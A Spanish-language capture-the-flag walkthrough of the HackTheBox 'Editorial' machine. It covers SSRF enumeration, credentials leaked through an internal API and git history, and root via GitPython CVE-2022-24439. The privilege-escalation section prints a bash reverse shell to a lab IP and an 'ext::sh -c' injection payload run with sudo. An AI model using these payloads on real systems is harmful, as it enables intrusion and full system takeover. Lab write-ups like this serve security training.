> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md).

# Análisis de Editorial HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Editorial>" %}

{% hint style="warning" %}
**Habilidades:**

* SSRF
* Registro de Git
* Git Python
  {% endhint %}

## Reconocimiento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/0d2b4d7ccb551478472f4006c3e0c5a68fa46eca" alt=""><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/1474c5591e2dc68d7776233e9bf85c1819cc0ed4" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.20 -oG allPorts
```

<figure><img src="/files/545d6d58f69aee00d791bdff32830067174b3961" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

<figure><img src="/files/133504bca7d1d65a45906fc2941a6dff24a498a5" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.20 -oN targeted
```

<figure><img src="/files/aaa57620a564f01058100e7c3cfa9ed9e33ebd2b" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

<figure><img src="/files/c8d908c0ccd8c18b841dac70b2c9208847643b95" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/4b246bc6270cac11c105e79299d006e81456cd2e" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad [SSRF](/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-request-forgery-ssrf.md):

El botón "Browse" nos permite descargar un archivo que se supone que es una imagen que representa la portada de un libro. Mientras que el campo de texto “Cover URL linked to your book” permite introducir una URL para que pueda ser visualizada por el servicio y se pueda subir una imagen.

<figure><img src="/files/bae47be2d5e606bb1d5eb18f8618078a6cd99f49" alt=""><figcaption></figcaption></figure>

#### **Apertura** [**Burp Suite**](/es/hacking-tools/web/burpsuite.md)**:**

Cuando se sube una imagen al servidor, se proporciona un enlace a su ubicación de almacenamiento.

<figure><img src="/files/375ec271addd69ca2bed6e213e0a580e0bf0654f" alt=""><figcaption></figcaption></figure>

Luego realizamos un ataque de fuerza bruta sobre los 65.535 puertos y vemos que solo el puerto 5000 devuelve una respuesta diferente.

<figure><img src="/files/7c60df9561a83b4db0ee2c27cf43d79a7727ea62" alt=""><figcaption></figcaption></figure>

Al comprobar el contenido del puerto interno 5000, descubrimos que permite descargar un archivo.

<figure><img src="/files/31e9071a7fa6dc5149c569fab3467b166bda2031" alt=""><figcaption></figcaption></figure>

Este archivo, en formato JSON, enumera las API internas con sus rutas asociadas. Entre ellas, la `message/authors` ruta parece especialmente crítica.

<figure><img src="/files/8f4b423eb822c9f0e4377ffb13a40ddfa21f247e" alt=""><figcaption></figcaption></figure>

Con Burp Suite, accedemos por tanto al archivo a través del puerto 5000 en la siguiente dirección:

```url
http://127.0.0.1:5000/api/latest/metadata/messages/authors
```

<div data-full-width="true"><figure><img src="/files/d1b8525804886a1ea06f648c55649c814cae653b" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/0f05e0d2a7cea9189928c40b742846632f4c41b2" alt=""><figcaption></figcaption></figure>

En este archivo también encontramos un usuario y una contraseña en claro `dev:dev080217_devAPI!@`

<figure><img src="/files/a61ed73bdc478cfea1d555d88a4f99461f7000d1" alt=""><figcaption></figcaption></figure>

Luego intentamos conectarnos a `SSH` a través del puerto 22, que está abierto, y logramos obtener la flag de usuario.

<figure><img src="/files/1a9f5fbc13699aeea61e03b65841c66f9debc3f9" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

#### Tras acceder al servidor Linux, se recomienda ejecutar los siguientes comandos en la terminal para optimizar la eficiencia y la comodidad de trabajo:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

Al navegar hasta la raíz del sistema, vemos la presencia de dos usuarios: **dev** y **prod**.

<figure><img src="/files/7998ddcf79d37fa976994c67e7ab95f1974d9af7" alt="" width="543"><figcaption></figcaption></figure>

El usuario **dev** tiene dos carpetas visibles y una carpeta oculta llamada "git". Al ejecutar el `git log` comando, observamos dos commits distintos.

<figure><img src="/files/c5d737255d1056276efcf9f6af1c2c6196c6318b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/733b2a7c7b41d79a2589b31abfba3440e02ef639" alt=""><figcaption></figcaption></figure>

Entre estos commits, la contraseña del usuario **prod** aparece en texto claro: `prod:080217_Producti0n_2023!@`.

<figure><img src="/files/a21160e0aa428a6425287b0491c993aec57ff81e" alt=""><figcaption></figcaption></figure>

Luego iniciamos sesión vía SSH como usuario **prod**.

<figure><img src="/files/1dbc0ad59dadb00b319ac5064253dd4029a30ae4" alt=""><figcaption></figcaption></figure>

### Sudoers:

Al ejecutar el `sudo -l` comando, descubrimos que tenemos la capacidad de ejecutar un script como **root**.

<figure><img src="/files/1c009479ea5ff79904e0f00fa075b4c32388b5e7" alt=""><figcaption></figcaption></figure>

Existe una versión vulnerable de la biblioteca Git, identificada por la `clone_from` función. Al mostrar la lista de paquetes de Python con `pip3 list`, observamos que **GitPython 3.1.29** está instalado, una versión conocida por la vulnerabilidad **CVE-2022-24439**, que permite la ejecución de código arbitrario. Esta falla puede explotarse de la siguiente manera:

<figure><img src="/files/1da5ae4a219f26b0a33cab2c9ebff9aadb99d063" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/gitpython-developers/GitPython/issues/1515>" %}

Crearemos un script de exploit en el directorio temporal para obtener una reverse shell:

```bash
bash -i >& /dev/tcp/10.10.14.139/4444 0>&1
```

<div data-full-width="true"><figure><img src="/files/c8ec2a1185c7e9f3756a1ced58ce4d6b6373c48d" alt=""><figcaption></figcaption></figure></div>

Luego, en nuestra máquina escuchamos en el puerto 4444 usando **netcat**

<figure><img src="/files/f9d537750a754789777c0c1299ffe77c7a1f7e91" alt="" width="502"><figcaption></figcaption></figure>

Finalmente, ejecutamos el binario con **sudo**, añadiendo nuestra carga útil:

```
ext::sh -c bash% /tmp/shell
```

{% code overflow="wrap" fullWidth="true" %}

```bash
sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c bash% /tmp/shell'
```

{% endcode %}

### Flag de root : )

<div align="right"><figure><img src="/files/73deccf3e3f64727982014582c3ab680926a8b18" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/0cb0747a0bf9903d89e2a0c5b46a4c5b17ed5981" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/editorial-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
